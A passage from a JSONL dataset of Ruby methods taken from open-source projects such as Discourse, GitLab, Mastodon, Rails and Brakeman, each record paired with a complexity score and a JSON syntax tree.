",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"sync_users\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"save!\"]},null]}]}]}]}","id":"09e38a8b-a202-4a1d-a79e-92f8fc561661"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":1145,"raw_source":"def create_gamification_score_events(rows, &block)\n    create_records(rows, \"gamification_score_event\", GAMIFICATION_SCORE_EVENT_COLUMNS, &block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_gamification_score_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"create_records\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"str\",\"children\":[\"gamification_score_event\"]},{\"type\":\"const\",\"children\":[null,\"GAMIFICATION_SCORE_EVENT_COLUMNS\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"a9baa498-9d4c-4c2f-91bd-720a0a38d2a9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/application_helper.rb","start_line":183,"raw_source":"def quote_wrap(text, line_width: 80, break_sequence: \"\\n\")\n    text = word_wrap(text, line_width: line_width - 2, break_sequence: break_sequence)\n    text.split(\"\\n\").map { |line| \"> #{line}\" }.join(\"\\n\")\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_wrap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"kwoptarg\",\"children\":[\"line_width\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"kwoptarg\",\"children\":[\"break_sequence\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[null,\"word_wrap\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_width\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"break_sequence\"]},{\"type\":\"lvar\",\"children\":[\"break_sequence\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"a8c9b381-431a-4b9b-82f6-5da715534f0b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/sharing/share_modal.rb","start_line":356,"raw_source":"def shares_header\n        active_list.find('[data-test-selector=\"op-share-dialog-header\"]')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shares_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_list\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-share-dialog-header\\\"]\"]}]}]}","id":"950f0910-31ea-45d1-8fdc-886386be3725"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/context.rb","start_line":129,"raw_source":"def includes\n            expandset.map(&:metadata)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"includes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expandset\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]}]}]}]}","id":"b18effa8-53ab-4841-bb84-8afd092882e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/promotion.rb","start_line":29,"raw_source":"def review_tl0\n    if Promotion.tl1_met?(@user) && change_trust_level!(TrustLevel[1])\n      if Badge.exists?(id: Badge::BasicUser, enabled: true) &&\n           !@user.badges.exists?(id: Badge::BasicUser)\n        @user.enqueue_member_welcome_message\n      end\n      return true\n    end\n    false\n  end","complexity_score":15.38,"ast_json":"{\"type\":\"def\",\"children\":[\"review_tl0\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Promotion\"]},\"tl1_met?\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"send\",\"children\":[null,\"change_trust_level!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevel\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"BasicUser\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"badges\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"BasicUser\"]}]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"enqueue_member_welcome_message\"]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"90690e21-8336-4e81-a1d6-57849acf8f68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":841,"raw_source":"def health(generate)\n    cache.fetch(:health) do\n      if generate\n        info = raw_repository.repository_info\n\n        info_h = info.to_h\n        info_h[:updated_at] = Time.current\n        info_h\n      end\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"health\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"generate\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"health\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_repository\"]},\"repository_info\"]}]},{\"type\":\"lvasgn\",\"children\":[\"info_h\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info_h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"lvar\",\"children\":[\"info_h\"]}]},null]}]}]}","id":"287f8e79-0322-4358-8079-ad4702080917"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/openai/processor_service.rb","start_line":32,"raw_source":"def make_friendly_message\n    make_api_call(build_api_call_body(\"#{AGENT_INSTRUCTION} Please make the following response more friendly. \" \\\n                                      \"#{LANGUAGE_INSTRUCTION}\"))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"make_friendly_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"make_api_call\",{\"type\":\"send\",\"children\":[null,\"build_api_call_body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AGENT_INSTRUCTION\"]}]},{\"type\":\"str\",\"children\":[\" Please make the following response more friendly. \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LANGUAGE_INSTRUCTION\"]}]}]}]}]}]}]}","id":"d4830258-f353-4209-9056-04188252e142"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/web_hook.rb","start_line":95,"raw_source":"def self.enqueue_topic_hooks(event, topic, payload = nil)\n    if active_web_hooks(event).exists? && topic.present?\n      payload ||=\n        begin\n          topic_view = TopicView.new(topic.id, Discourse.system_user, skip_staff_action: true)\n          WebHook.generate_payload(:topic, topic_view, WebHookTopicViewSerializer)\n        end\n\n      WebHook.enqueue_hooks(\n        :topic,\n        event,\n        id: topic.id,\n        category_id: topic.category_id,\n        tag_ids: topic.tags.pluck(:id),\n        payload: payload,\n      )\n    end\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enqueue_topic_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"topic\"]},{\"type\":\"optarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_web_hooks\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"exists?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic_view\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicView\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_staff_action\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHook\"]},\"generate_payload\",{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"topic_view\"]},{\"type\":\"const\",\"children\":[null,\"WebHookTopicViewSerializer\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHook\"]},\"enqueue_hooks\",{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"tags\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]},null]}]}","id":"df4239e2-b833-4784-9648-9dfa1341b966"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/request_endpoints.rb","start_line":15,"raw_source":"def all_controller_actions\n        # This will return tuples of all controller actions defined in the routes\n        # Only for controllers inheriting ApplicationController\n        # Excluding controllers from gems (OAuth, Sidekiq)\n        Rails.application.routes.routes.filter_map do |route|\n          route_info = route.required_defaults.presence\n          next unless route_info\n          next if route_info[:controller].blank? || route_info[:action].blank?\n\n          controller = constantize_controller(route_info[:controller])\n          next unless controller&.include?(::Gitlab::EndpointAttributes)\n          next if controller == ApplicationController\n          next if controller == Devise::UnlocksController\n\n          [controller, route_info[:action]]\n        end\n      end","complexity_score":31.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all_controller_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"routes\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"route_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"required_defaults\"]},\"presence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_info\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"blank?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[null,\"constantize_controller\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"EndpointAttributes\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"UnlocksController\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]}]}]}]}","id":"2b4810b9-a345-446a-b407-58d10aeaab35"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1133,"raw_source":"def next_migration_number(number)\n      if ActiveRecord.timestamped_migrations\n        [Time.now.utc.strftime(\"%Y%m%d%H%M%S\"), \"%.14d\" % number].max\n      else\n        \"%.3d\" % number.to_i\n      end\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"next_migration_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"timestamped_migrations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d%H%M%S\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.14d\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"number\"]}]}]},\"max\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.3d\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_i\"]}]}]}]}","id":"c473056a-00f8-4bfa-82fd-cc8ea57ab79b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/multi_db_rake_test.rb","start_line":19,"raw_source":"def test_generate_scaffold_creates_abstract_model\n      assert_match %r{app/models/pet\\.rb}, @output\n      assert_match %r{app/models/animals_record\\.rb}, @output\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_scaffold_creates_abstract_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"app/models/pet\\\\.rb\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"ivar\",\"children\":[\"@output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"app/models/animals_record\\\\.rb\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"ivar\",\"children\":[\"@output\"]}]}]}]}","id":"fba3be09-269d-4f39-84da-aff80262d9f1"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":1314,"raw_source":"def test_unsafe_reflection_comparison_false_positive\n    assert_no_warning :type => :warning,\n      :warning_code => 24,\n      :fingerprint => \"df957ee4f94d5c14f0ad24eb4b185b274721ac5edd72addd6ed54cf10a4c11bb\",\n      :warning_type => \"Remote Code Execution\",\n      :line => 90,\n      :message => /^Unsafe\\ reflection\\ method\\ constantize\\ cal/,\n      :confidence => 1,\n      :relative_path => \"app/controllers/friendly_controller.rb\",\n      :code => s(:call, s(:iter, s(:call, s(:array, s(:str, \"Post\"), s(:str, \"Comments\")), :detect), s(:args, :k), s(:call, s(:lvar, :k), :==, s(:call, s(:params), :[], s(:lit, :a)))), :constantize),\n      :user_input => s(:call, s(:params), :[], s(:lit, :a))\n  end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unsafe_reflection_comparison_false_positive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"df957ee4f94d5c14f0ad24eb4b185b274721ac5edd72addd6ed54cf10a4c11bb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[90]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Unsafe\\\\ reflection\\\\ method\\\\ constantize\\\\ cal\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/friendly_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"iter\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"Post\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"Comments\"]}]}]},{\"type\":\"sym\",\"children\":[\"detect\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"sym\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"k\"]}]},{\"type\":\"sym\",\"children\":[\"==\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]}]}]}]},{\"type\":\"sym\",\"children\":[\"constantize\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]}]}]}]}]}]}","id":"d4ea2037-c773-428c-9d8d-36a28317ea59"}
{"repo_name":"blueprinter","file_path":"./repos/blueprinter/lib/blueprinter/base.rb","start_line":369,"raw_source":"def inherited(subclass)\n        subclass.send(:view_collection).inherit(view_collection)\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"inherited\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subclass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subclass\"]},\"send\",{\"type\":\"sym\",\"children\":[\"view_collection\"]}]},\"inherit\",{\"type\":\"send\",\"children\":[null,\"view_collection\"]}]}]}","id":"564531ba-719a-4940-9aaf-87268fff8145"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20251008144734_backfill_system_hook_org_id.rb","start_line":32,"raw_source":"def get_first_organization_id\n    # Cache the organization ID to avoid repeated queries\n    @organization_id ||= connection.select_value(\n      \"SELECT id FROM organizations ORDER BY id ASC LIMIT 1\"\n    )\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_first_organization_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@organization_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"select_value\",{\"type\":\"str\",\"children\":[\"SELECT id FROM organizations ORDER BY id ASC LIMIT 1\"]}]}]}]}","id":"4993d87d-de46-4418-8287-76ee928f35e2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse.rb","start_line":1023,"raw_source":"def self.warn_exception(e, message: \"\", env: nil)\n    if Rails.logger.respond_to? :add_with_opts\n      env ||= {}\n      env[:current_db] ||= RailsMultisite::ConnectionManagement.current_db\n\n      # logster\n      Rails.logger.add_with_opts(\n        ::Logger::Severity::WARN,\n        \"#{message} : #{e.class.name} : #{e}\",\n        \"discourse-exception\",\n        backtrace: e.backtrace.join(\"\\n\"),\n        env: env,\n      )\n    else\n      # no logster ... fallback\n      Rails.logger.warn(\"#{message} #{e}\\n#{e.backtrace.join(\"\\n\")}\")\n    end\n  rescue StandardError\n    STDERR.puts \"Failed to report exception #{e} #{message}\"\n  end","complexity_score":23.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"warn_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]},{\"type\":\"kwoptarg\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"env\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"add_with_opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"add_with_opts\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Logger\"]},\"Severity\"]},\"WARN\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"str\",\"children\":[\"discourse-exception\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backtrace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\" 